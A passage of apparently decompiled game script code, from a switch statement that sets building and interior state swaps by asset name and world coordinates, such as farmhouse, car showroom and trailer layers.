StringCopy(&(uParam0->f_8[0 /*8*/]), "des_farmhouse", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "des_farmhouse", 32);
StringCopy(&(uParam0->f_8[2 /*8*/]), "REMOVE_ALL_STATES", 32);
uParam0->f_33 = 1;
*uParam0 = { 2447.9f, 4973.4f, 47.7f };
break;
case 54:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "farmint_cap", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "farmint", 32);
StringCopy(&(uParam0->f_8[2 /*8*/]), "", 32);
*uParam0 = { 2447.9f, 4973.4f, 47.7f };
break;
case 56:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "tankerexp_grp0", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "tankerexp_grp3", 32);
*uParam0 = { 1676.415f, -1626.37f, 111.4848f };
break;
case 57:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "tankerexp_grp1", 32);
*uParam0 = { 1676.415f, -1626.37f, 111.4848f };
break;
case 58:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "tankerexp_grp2", 32);
*uParam0 = { 1676.415f, -1626.37f, 111.4848f };
break;
case 59:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "DES_tankerexp", 32);
*uParam0 = { 1676.415f, -1626.37f, 111.4848f };
break;
case 60:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "dockcrane1", 32);
*uParam0 = { 889.3f, -2910.9f, 40f };
break;
case 61:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "CanyonRvrShallow", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "CanyonRvrDeep", 32);
*uParam0 = { -1600.619f, 4443.457f, 0.725f };
break;
case 62:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "Garage_door_locked", 32);
*uParam0 = { 966.1f, -114.8f, 75.2f };
break;
case 63:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "ch1_02_closed", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "ch1_02_open", 32);
*uParam0 = { -3086.428f, 339.2523f, 6.3717f };
break;
case 64:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "ferris_finale_Anim", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "", 32);
*uParam0 = { -1675.178f, -1143.605f, 12.0175f };
break;
case 65:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "railing_start", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "railing_end", 32);
*uParam0 = { -532.1309f, 4526.187f, 88.7955f };
break;
case 66:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "canyonriver01", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "canyonriver01_traincrash", 32);
*uParam0 = { -532.1309f, 4526.187f, 88.7955f };
break;
case 67:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "DT1_05_WOFFM", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "DT1_05_FIB2_Mission", 32);
StringCopy(&(uParam0->f_8[2 /*8*/]), "DT1_05_WOFFM", 32);
*uParam0 = { 131.29f, -631.22f, 261.85f };
break;
case 68:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "coronertrash", 32);
*uParam0 = { 233.9f, -1355f, 30.3f };
break;
case 69:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "Coroner_Int_off", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "Coroner_Int_on", 32);
*uParam0 = { 234.4f, -1355.6f, 40.5f };
break;
case 70:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "id2_14_pre_no_int", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "", 32);
*uParam0 = { 716.84f, -962.05f, 31.59f };
break;
case 71:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "id2_14_during1", 32);
StringCopy(&(uParam0->f_8[2 /*8*/]), "id2_14_during2", 32);
*uParam0 = { 716.84f, -962.05f, 31.59f };
break;
case 72:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "id2_14_on_fire", 32);
StringCopy(&(uParam0->f_8[2 /*8*/]), "id2_14_post_no_int", 32);
*uParam0 = { 716.84f, -962.05f, 31.59f };
break;
case 73:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "id2_14_during_door", 32);
*uParam0 = { 716.84f, -962.05f, 31.59f };
break;
case 74:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "burnt_switch_off", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "", 32);
*uParam0 = { 716.84f, -962.05f, 31.59f };
break;
case 75:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "RC12B_Default", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "RC12B_Destroyed", 32);
StringCopy(&(uParam0->f_8[2 /*8*/]), "RC12B_Fixed", 32);
uParam0->f_33 = 0;
*uParam0 = { 330.4596f, -584.8196f, 42.3174f };
break;
case 76:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "RC12B_HospitalInterior", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "", 32);
uParam0->f_33 = 0;
*uParam0 = { 330.4596f, -584.8196f, 42.3174f };
break;
case 105:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "SM_15_BldGRAF1", 32);
*uParam0 = { 330.4596f, -584.8196f, 42.3174f };
break;
case 106:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "CH3_RD2_BishopsChickenGraffiti", 32);
*uParam0 = { 1861.28f, 2402.11f, 58.53f };
break;
case 107:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "FruitBB", 32);
*uParam0 = { -1327.46f, -274.82f, 54.25f };
break;
case 108:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "CS5_04_MazeBillboardGraffiti", 32);
*uParam0 = { 2697.32f, 3162.18f, 58.1f };
break;
case 109:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "CS5_Roads_RonOilGraffiti", 32);
*uParam0 = { 2119.12f, 3058.21f, 53.25f };
break;
case 110:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "ap1_03_bbrd_dcl", 32);
*uParam0 = { -804.25f, -2276.88f, 23.59f };
break;
case 111:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "HW1_02_OldBill", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "HW1_02_NewBill", 32);
*uParam0 = { 296.5f, 173.3f, 100.4f };
break;
case 112:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "HW1_Emissive_OldBill", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "HW1_Emissive_NewBill", 32);
*uParam0 = { 296.5f, 173.3f, 100.4f };
break;
case 77:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[2 /*8*/]), "", 32);
uParam0->f_33 = 1;
*uParam0 = { 480.9554f, -1321.21f, 28.2037f };
uParam0->f_85 = { 508.3f, -1299.3f, 39.4f };
uParam0->f_88 = { 459.9f, -1363.2f, 21.4f };
uParam0->f_91[0] = 0;
uParam0->f_91[1] = 1;
uParam0->f_91[2] = 0;
break;
case 78:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "TrevorsTrailer", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "TrevorsTrailerTrash", 32);
StringCopy(&(uParam0->f_8[2 /*8*/]), "TrevorsTrailerTidy", 32);
*uParam0 = { 1973f, 3815f, 34f };
uParam0->f_33 = 0;
break;
case 79:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "scafstartimap", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "scafendimap", 32);
*uParam0 = { -1088.6f, -1650.6f, 6.4f };
break;
case 80:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "chop_props", 32);
*uParam0 = { -13.83f, -1455.45f, 31.81f };
break;
case 113:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "AP1_04_TriAf01", 32);
*uParam0 = { -1277.629f, -2030.913f, 1.2823f };
break;
case 114:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "CS2_06_TriAf02", 32);
*uParam0 = { 2384.969f, 4277.583f, 30.379f };
break;
case 115:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "CS4_04_TriAf03", 32);
*uParam0 = { 1577.881f, 3836.107f, 30.7717f };
break;
case 87:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "DT1_21_prop_lift_on", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "", 32);
*uParam0 = { -180.5771f, -1016.928f, 28.2893f };
break;
case 88:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "jewel2fake", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "post_hiest_unload", 32);
StringCopy(&(uParam0->f_8[2 /*8*/]), "bh1_16_refurb", 32);
*uParam0 = { -630.4205f, -236.7843f, 37.057f };
uParam0->f_79 = { (-623.6868f - 11f), (-231.935f - 11f), (40.30703f - 3.25f) };
uParam0->f_82 = { (-623.6868f + 11f), (-231.935f + 11f), (40.30703f + 3.25f) };
break;
case 89:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "bh1_16_doors_shut", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "refit_unload", 32);
*uParam0 = { -583.1606f, -282.3967f, 35.394f };
break;
case 90:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "v_tunnel_hole_swap", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "v_tunnel_hole", 32);
*uParam0 = { -14.651f, -604.3639f, 25.1823f };
break;
case 91:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "cs5_4_trains", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "", 32);
*uParam0 = { 2773.61f, 2835.327f, 35.1903f };
break;
case 94:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "airfield", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "", 32);
*uParam0 = { 1743.682f, 3286.251f, 40.0875f };
break;
case 95:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[2 /*8*/]), "REMOVE_ALL_STATES", 32);
uParam0->f_33 = 1;
*uParam0 = { 1222.9f, 1877.9f, 79.9f };
uParam0->f_58 = { 1206.8f, 1803f, 43.9f };
uParam0->f_61 = { 1329f, 2060.4f, 143.9f };
uParam0->f_64[0] = 0;
uParam0->f_64[1] = 1;
uParam0->f_64[2] = 0;
break;
case 104:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "SC1_01_OldBill", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "SC1_01_NewBill", 32);
*uParam0 = { -351f, -1324f, 44.02f };
break;
case 103:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "DT1_17_OldBill", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "DT1_17_NewBill", 32);
*uParam0 = { 391.81f, -962.71f, 41.97f };
break;
case 102:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "SC1_14_OldBill", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "SC1_14_NewBill", 32);
*uParam0 = { 424.2f, -1944.31f, 33.09f };
break;
case 92:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "ld_rail_01_track", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "", 32);
*uParam0 = { 2626.374f, 2949.869f, 39.1409f };
break;
case 93:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "ld_rail_02_track", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "", 32);
*uParam0 = { 2626.374f, 2949.869f, 39.1409f };
break;
case 118:
uParam0->f_3 = 2;
StringCopy(&(uParam0->f_8[0 /*8*/]), "V_Michael_M_items", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "V_Michael_M_moved", 32);
StringCopy(&(uParam0->f_42), "V_Michael", 32);
*uParam0 = { -811.2679f, 179.3344f, 75.7408f };
break;
case 116:
uParam0->f_3 = 2;
StringCopy(&(uParam0->f_8[0 /*8*/]), "V_Michael_D_items", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "V_Michael_D_Moved", 32);
StringCopy(&(uParam0->f_42), "V_Michael", 32);
*uParam0 = { -802.0311f, 172.9131f, 75.7408f };
break;
case 117:
uParam0->f_3 = 2;
StringCopy(&(uParam0->f_8[0 /*8*/]), "V_Michael_S_items", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "V_Michael_S_items_swap", 32);
StringCopy(&(uParam0->f_42), "V_Michael", 32);
*uParam0 = { -808.033f, 172.1309f, 75.7406f };
break;
case 119:
uParam0->f_3 = 2;
StringCopy(&(uParam0->f_8[0 /*8*/]), "V_Michael_L_Items", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "V_Michael_L_Moved", 32);
StringCopy(&(uParam0->f_42), "V_Michael", 32);
*uParam0 = { -808.033f, 172.1309f, 75.7406f };
break;
case 120:
uParam0->f_3 = 2;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "V_Michael_M_items_swap", 32);
StringCopy(&(uParam0->f_42), "V_Michael", 32);
*uParam0 = { -808.033f, 172.1309f, 75.7406f };
break;
case 122:
uParam0->f_3 = 2;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "V_Michael_FameShame", 32);
StringCopy(&(uParam0->f_42), "V_Michael", 32);
*uParam0 = { -802.0311f, 172.9131f, 75.7408f };
break;
case 121:
uParam0->f_3 = 2;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "V_Michael_JewelHeist", 32);
StringCopy(&(uParam0->f_42), "V_Michael", 32);
*uParam0 = { -813.3f, 177.5f, 75.76f };
break;
case 123:
uParam0->f_3 = 2;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "Michael_premier", 32);
StringCopy(&(uParam0->f_42), "V_Michael", 32);
*uParam0 = { -813.3f, 177.5f, 75.76f };
break;
case 124:
uParam0->f_3 = 2;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "V_Michael_plane_ticket", 32);
StringCopy(&(uParam0->f_42), "V_Michael", 32);
*uParam0 = { -813.3f, 177.5f, 75.76f };
break;
case 170:
uParam0->f_3 = 2;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "burgershot_yoga", 32);
StringCopy(&(uParam0->f_42), "V_Michael", 32);
*uParam0 = { -813.3f, 177.5f, 75.76f };
break;
case 171:
uParam0->f_3 = 2;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "V_Michael_Scuba", 32);
StringCopy(&(uParam0->f_42), "V_Michael_Garage", 32);
*uParam0 = { -810.5301f, 187.7868f, 71.4786f };
break;
case 125:
uParam0->f_3 = 2;
StringCopy(&(uParam0->f_8[0 /*8*/]), "V_Michael_bed_tidy", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "V_Michael_bed_Messy", 32);
StringCopy(&(uParam0->f_42), "V_Michael", 32);
*uParam0 = { -811.2679f, 179.3344f, 75.7408f };
break;
case 164:
uParam0->f_3 = 2;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "Jewel_Gasmasks", 32);
StringCopy(&(uParam0->f_42), "V_Sweat", 32);
*uParam0 = { 707.2563f, -965.147f, 29.4179f };
break;
case 165:
uParam0->f_3 = 2;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "V_53_Agency _Overalls", 32);
StringCopy(&(uParam0->f_42), "V_Sweat", 32);
*uParam0 = { 707.2563f, -965.147f, 29.4179f };
break;
case 166:
uParam0->f_3 = 2;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "V_53_Agency_Blueprint", 32);
StringCopy(&(uParam0->f_42), "V_Sweat", 32);
*uParam0 = { 707.2563f, -965.147f, 29.4179f };
break;
case 167:
uParam0->f_3 = 2;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "V_35_KitBag", 32);
StringCopy(&(uParam0->f_42), "V_Sweat", 32);
*uParam0 = { 707.2563f, -965.147f, 29.4179f };
break;
case 168:
uParam0->f_3 = 2;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "V_35_Body_Armour", 32);
StringCopy(&(uParam0->f_42), "V_Sweat", 32);
*uParam0 = { 707.2563f, -965.147f, 29.4179f };
break;
case 169:
uParam0->f_3 = 2;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "V_35_Fireman", 32);
StringCopy(&(uParam0->f_42), "V_Sweat", 32);
*uParam0 = { 707.2563f, -965.147f, 29.4179f };
break;
case 126:
uParam0->f_3 = 2;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "V_26_Trevor_Helmet1", 32);
StringCopy(&(uParam0->f_42), "V_Trailer", 32);
*uParam0 = { 1973.805f, 3818.555f, 32.4363f };
break;
case 127:
uParam0->f_3 = 2;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "V_26_Trevor_Helmet3", 32);
StringCopy(&(uParam0->f_42), "V_TrailerTRASH", 32);
*uParam0 = { 1973.805f, 3818.555f, 32.4363f };
break;
case 128:
uParam0->f_3 = 2;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "V_26_Trevor_Helmet2", 32);
StringCopy(&(uParam0->f_42), "V_TrailerTidy", 32);
*uParam0 = { 1973.805f, 3818.555f, 32.4363f };
break;
case 129:
uParam0->f_3 = 2;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "V_24_Trevor_Briefcase1", 32);
StringCopy(&(uParam0->f_42), "V_Trailer", 32);
*uParam0 = { 1973.805f, 3818.555f, 32.4363f };
break;
case 130:
uParam0->f_3 = 2;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "V_24_Trevor_Briefcase3", 32);
StringCopy(&(uParam0->f_42), "V_TrailerTRASH", 32);
*uParam0 = { 1973.805f, 3818.555f, 32.4363f };
break;
case 131:
uParam0->f_3 = 2;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "V_24_Trevor_Briefcase2", 32);
StringCopy(&(uParam0->f_42), "V_TrailerTidy", 32);
*uParam0 = { 1973.805f, 3818.555f, 32.4363f };
break;
case 132:
uParam0->f_3 = 2;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "V_26_Michael_Stay1", 32);
StringCopy(&(uParam0->f_42), "V_Trailer", 32);
*uParam0 = { 1973.805f, 3818.555f, 32.4363f };
break;
case 133:
uParam0->f_3 = 2;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "V_26_Michael_Stay3", 32);
StringCopy(&(uParam0->f_42), "V_TrailerTRASH", 32);
*uParam0 = { 1973.805f, 3818.555f, 32.4363f };
break;
case 134:
uParam0->f_3 = 2;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "V_26_Michael_Stay2", 32);
StringCopy(&(uParam0->f_42), "V_TrailerTidy", 32);
*uParam0 = { 1973.805f, 3818.555f, 32.4363f };
break;
case 179:
uParam0->f_3 = 2;
StringCopy(&(uParam0->f_8[0 /*8*/]), "shutter_open", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "shutter_closed", 32);
StringCopy(&(uParam0->f_42), "v_carshowroom", 32);
*uParam0 = { -30.8793f, -1088.336f, 25.4221f };
uParam0->f_68 = { -29.3f, -1086.35f, 25.57f };
uParam0->f_71 = { 5.5f, 3f, 2f };
uParam0->f_74 = -10f;
uParam0->f_75[0] = 0;
uParam0->f_75[1] = 1;
break;
case 174:
uParam0->f_3 = 2;
StringCopy(&(uParam0->f_8[0 /*8*/]), "csr_beforeMission", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "csr_afterMissionA", 32);
StringCopy(&(uParam0->f_8[2 /*8*/]), "csr_afterMissionB", 32);
StringCopy(&(uParam0->f_50), "csr_inMission", 32);
uParam0->f_33 = 0;
StringCopy(&(uParam0->f_42), "v_carshowroom", 32);
*uParam0 = { -59.7936f, -1098.784f, 27.2612f };
break;
case 175:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[2 /*8*/]), "", 32);
StringCopy(&(uParam0->f_42), "v_carshowroom", 32);
*uParam0 = { -49.21f, -1090.28f, 25.42f };
uParam0->f_68 = { -49.21f, -1090.28f, 25.42f };
uParam0->f_71 = { 2.5f, 3f, 3f };
uParam0->f_74 = 0f;
uParam0->f_75[0] = 0;
uParam0->f_75[1] = 1;
uParam0->f_75[2] = 0;
break;
case 176:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[2 /*8*/]), "", 32);
StringCopy(&(uParam0->f_42), "v_carshowroom", 32);
*uParam0 = { -49.28f, -1092.66f, 25.42f };
uParam0->f_68 = { -49.28f, -1092.66f, 25.42f };
uParam0->f_71 = { 3f, 1f, 3f };
uParam0->f_74 = 0f;
uParam0->f_75[0] = 0;
uParam0->f_75[1] = 1;
uParam0->f_75[2] = 0;
break;
case 177:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[2 /*8*/]), "", 32);
StringCopy(&(uParam0->f_42), "v_carshowroom", 32);
*uParam0 = { -53.07f, -1096.73f, 25.5f };
uParam0->f_68 = { -53.07f, -1096.73f, 25.5f };
uParam0->f_71 = { 1f, 3f, 2f };
uParam0->f_74 = -45f;
uParam0->f_75[0] = 0;
uParam0->f_75[1] = 1;
uParam0->f_75[2] = 0;
break;
case 178:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "carshowroom_broken", 32);
StringCopy(&(uParam0->f_8[2 /*8*/]), "carshowroom_boarded", 32);
uParam0->f_33 = 0;
*uParam0 = { -59.7936f, -1098.784f, 27.2612f };
break;
case 173:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "shr_int", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "fakeint", 32);
uParam0->f_33 = 0;
*uParam0 = { -59.7936f, -1098.784f, 27.2612f };
break;
case 180:
uParam0->f_3 = 1;
StringCopy(&(uParam0->f_8[0 /*8*/]), "DT1_03_Shutter", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "", 32);
StringCopy(&(uParam0->f_42), "", 32);
*uParam0 = { 23.9346f, -669.7552f, 30.8853f };
break;
case 181:
uParam0->f_3 = 2;
StringCopy(&(uParam0->f_8[0 /*8*/]), "Hospitaldoorsanim", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[2 /*8*/]), "Hospitaldoorsfixed", 32);
StringCopy(&(uParam0->f_42), "v_hospital", 32);
uParam0->f_33 = 0;
*uParam0 = { 300.9423f, -586.1784f, 42.2919f };
break;
case 135:
uParam0->f_3 = 2;
StringCopy(&(uParam0->f_8[0 /*8*/]), "swap_clean_apt", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "layer_mess_A", 32);
StringCopy(&(uParam0->f_42), "v_trevors", 32);
*uParam0 = { -1157.129f, -1523.028f, 9.6327f };
break;
case 136:
uParam0->f_3 = 2;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "layer_mess_B", 32);
StringCopy(&(uParam0->f_8[2 /*8*/]), "", 32);
StringCopy(&(uParam0->f_42), "v_trevors", 32);
*uParam0 = { -1157.129f, -1523.028f, 9.6327f };
break;
case 137:
uParam0->f_3 = 2;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "layer_mess_C", 32);
StringCopy(&(uParam0->f_8[2 /*8*/]), "", 32);
StringCopy(&(uParam0->f_42), "v_trevors", 32);
*uParam0 = { -1157.129f, -1523.028f, 9.6327f };
break;
case 138:
uParam0->f_3 = 2;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "layer_sextoys_a", 32);
StringCopy(&(uParam0->f_8[2 /*8*/]), "", 32);
StringCopy(&(uParam0->f_42), "v_trevors", 32);
*uParam0 = { -1157.129f, -1523.028f, 9.6327f };
break;
case 139:
uParam0->f_3 = 2;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "layer_wade_shit", 32);
StringCopy(&(uParam0->f_42), "v_trevors", 32);
*uParam0 = { -1157.129f, -1523.028f, 9.6327f };
break;
case 140:
uParam0->f_3 = 2;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "swap_wade_sofa_A", 32);
StringCopy(&(uParam0->f_42), "v_trevors", 32);
*uParam0 = { -1157.129f, -1523.028f, 9.6327f };
break;
case 141:
uParam0->f_3 = 2;
StringCopy(&(uParam0->f_8[0 /*8*/]), "layer_debra_pic", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "", 32);
StringCopy(&(uParam0->f_42), "v_trevors", 32);
*uParam0 = { -1157.129f, -1523.028f, 9.6327f };
break;
case 142:
uParam0->f_3 = 2;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "layer_torture", 32);
StringCopy(&(uParam0->f_42), "v_trevors", 32);
*uParam0 = { -1157.129f, -1523.028f, 9.6327f };
break;
case 143:
uParam0->f_3 = 2;
StringCopy(&(uParam0->f_8[0 /*8*/]), "swap_sofa_A", 32);
StringCopy(&(uParam0->f_8[1 /*8*/]), "swap_sofa_B", 32);
StringCopy(&(uParam0->f_42), "v_trevors", 32);
*uParam0 = { -1157.129f, -1523.028f, 9.6327f };
break;
case 144:
uParam0->f_3 = 2;
StringCopy(&(uParam0->f_8[0 /*8*/]), "", 32);
